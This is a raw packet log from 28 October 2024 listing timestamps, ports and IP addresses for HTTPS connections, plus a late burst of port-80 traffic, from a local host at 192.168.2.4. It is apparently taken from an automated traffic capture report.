Oct 28, 2024 08:17:22.075184107 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.079843044 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.079871893 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.079958916 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.079968929 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.080060959 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.086256981 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.136337042 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.136343956 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.136691093 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:22.136722088 CET	443	49742	142.250.185.132	192.168.2.4
Oct 28, 2024 08:17:22.136790991 CET	49742	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:24.199692011 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:24.199713945 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:24.199784994 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:24.200051069 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:24.200066090 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:24.372576952 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:24.372608900 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:24.372673988 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:24.381278992 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:24.381294012 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:24.695992947 CET	49754	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:24.696010113 CET	443	49754	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:24.696085930 CET	49754	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:24.697786093 CET	49754	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:24.697798967 CET	443	49754	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:24.708669901 CET	49672	443	192.168.2.4	173.222.162.32
Oct 28, 2024 08:17:24.708699942 CET	443	49672	173.222.162.32	192.168.2.4
Oct 28, 2024 08:17:24.710757017 CET	443	49754	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:24.751375914 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:24.751413107 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:24.751492023 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:24.752652884 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:24.752680063 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:24.869189978 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:24.869230032 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:24.869319916 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:24.869618893 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:24.869643927 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:25.088900089 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.089538097 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.089549065 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.091206074 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.091331959 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.092771053 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.092771053 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.092784882 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.092863083 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.211668968 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.211678028 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.242862940 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.242974043 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.247169018 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.247183084 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.247437000 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.290735960 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.324492931 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.335335016 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.352626085 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.352782965 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.352880001 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.352914095 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.352926016 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.352969885 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.352997065 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.353167057 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.353218079 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.353224993 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.362056017 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.362127066 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.362134933 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.469296932 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.469352961 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.469379902 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.469383955 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.469398975 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.469449043 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.487385988 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.487456083 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.487483978 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.492382050 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.492448092 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.492455959 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.502149105 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.502217054 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.502226114 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.512037992 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.512116909 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.512125015 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.521981955 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.522047043 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.522054911 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.531706095 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.531773090 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.531780958 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.532015085 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:25.532093048 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:25.534981012 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:25.534991026 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:25.535383940 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:25.539669037 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.539711952 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.539879084 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.539916992 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.539940119 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.539953947 CET	49753	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.539962053 CET	443	49753	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.541505098 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.541573048 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.541584015 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.550848961 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.550911903 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.550920010 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.586251020 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.586313009 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.586321115 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.586458921 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.586548090 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.586606026 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.586612940 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.587074041 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.587080956 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.604361057 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.604463100 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.604518890 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.604527950 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.604589939 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.604598045 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.622706890 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.622980118 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.622987986 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.626401901 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.626482964 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.626491070 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.629748106 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.629771948 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.630032063 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.630450010 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:25.630460024 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:25.634196043 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.634275913 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.634284019 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.640902996 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.641037941 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.641046047 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.647562981 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.647631884 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.647639990 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.654339075 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.654522896 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.654531956 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.661218882 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.665157080 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.665165901 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.665429115 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:25.667999029 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.668056965 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.668064117 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.674818039 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.676073074 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.676080942 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.681548119 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.685062885 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.685070038 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.688463926 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.689074993 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.689081907 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.695386887 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.697051048 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.697060108 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.702517033 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.702579021 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.702585936 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.708920002 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.708969116 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.708976030 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.715673923 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.715800047 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.715807915 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.717132092 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:25.717856884 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:25.717869997 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:25.718234062 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:25.718316078 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:25.718898058 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:25.721095085 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:25.722677946 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.725044012 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.725052118 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.729684114 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.729818106 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.729825974 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.732983112 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:25.733051062 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:25.733252048 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:25.733252048 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:25.733269930 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:25.735758066 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.735810995 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.735819101 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.742448092 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.743071079 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.743077993 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.748541117 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.748605013 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.748613119 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.754566908 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.754616022 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.754623890 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.760648966 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.760773897 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.760782003 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.766514063 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.766567945 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.766576052 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.770462036 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.770514965 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.770523071 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.774040937 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.774225950 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.774234056 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.774821997 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.774898052 CET	443	49752	142.250.186.174	192.168.2.4
Oct 28, 2024 08:17:25.775055885 CET	49752	443	192.168.2.4	142.250.186.174
Oct 28, 2024 08:17:25.825423956 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:25.992893934 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:26.089349985 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:26.089364052 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:26.090409994 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:26.090480089 CET	443	49756	216.58.206.46	192.168.2.4
Oct 28, 2024 08:17:26.090590000 CET	49756	443	192.168.2.4	216.58.206.46
Oct 28, 2024 08:17:26.242702961 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:26.283377886 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.477320910 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:26.477401018 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:26.479181051 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:26.479187012 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:26.479409933 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:26.481137037 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:26.495378971 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.495404959 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.495414972 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.495424986 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.495443106 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.495451927 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.495490074 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:26.495490074 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:26.495507002 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.495543957 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:26.496464968 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.496474028 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.496521950 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:26.496529102 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.496613026 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:26.496696949 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:26.527332067 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:26.726187944 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:26.726229906 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:26.726339102 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:26.790057898 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:26.790057898 CET	49761	443	192.168.2.4	184.28.90.27
Oct 28, 2024 08:17:26.790069103 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:26.790079117 CET	443	49761	184.28.90.27	192.168.2.4
Oct 28, 2024 08:17:27.361454964 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.361785889 CET	49765	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.366782904 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.367120028 CET	80	49765	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.367192984 CET	49765	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.367341042 CET	49765	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.367341042 CET	49765	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.372663021 CET	80	49765	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.372682095 CET	80	49765	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.372786045 CET	80	49765	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.372859001 CET	80	49765	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.372869015 CET	80	49765	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.429250002 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:27.429270983 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:27.429305077 CET	49755	443	192.168.2.4	20.109.210.53
Oct 28, 2024 08:17:27.429317951 CET	443	49755	20.109.210.53	192.168.2.4
Oct 28, 2024 08:17:27.478111982 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.483550072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.483736038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.485325098 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.485344887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:27.490628004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.490638018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.490727901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:27.523509026 CET	49744	443	192.168.2.4	142.250.185.132
Oct 28, 2024 08:17:29.926944017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:29.929027081 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:29.959418058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:29.965022087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:30.745932102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:30.746002913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:31.261616945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:31.267005920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.047112942 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.047235966 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.313536882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.319478989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601500034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601557970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601579905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.601630926 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601655006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.601667881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601680040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601711988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.601711988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.601727009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601737976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.601800919 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.602438927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.602456093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.602464914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.602528095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.602528095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.602555990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.602566957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.602631092 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.603303909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.603362083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.764461994 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764472961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764487982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764568090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.764568090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.764684916 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764695883 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764705896 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764741898 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764744043 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.764759064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.764775991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.764910936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:32.765650034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.765661001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.765676022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:32.765713930 CET	49766	80	192.168.2.4	185.215.113.206
